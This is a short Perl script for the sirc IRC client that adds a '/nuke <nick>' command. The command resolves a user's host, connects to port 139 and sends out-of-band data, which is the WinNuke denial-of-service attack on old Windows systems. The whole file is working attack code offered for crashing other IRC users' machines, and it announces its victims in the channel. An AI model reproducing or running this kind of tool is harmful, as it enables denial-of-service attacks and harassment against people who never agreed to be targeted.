# winnuke for sirc
# based on winnuke.c by whoever the heck it was
#
# author of this script intentionally left his name/nick
# off for fear of hate mail.
#
# Syntax:
#        /nuke <nick> [port]

sub n_nuke {
  $nukeport = 139 if (!$nukeport);
  $nuke = &newfh;
  &connect($nuke,"$host",$nukeport);
  send $nuke,"Sucker",MSG_OOB;
  close $nuke;
}

sub cmd_nuke {
  &getarg;
  $nukenick = $newarg;
  &getarg;
  $nukeport = $newarg;
  &userhost($nukenick,"&n_nuke;","");
  &tell("*\cbn\cb* $nukenick has been nuked.");
}
&addcmd("nuke");

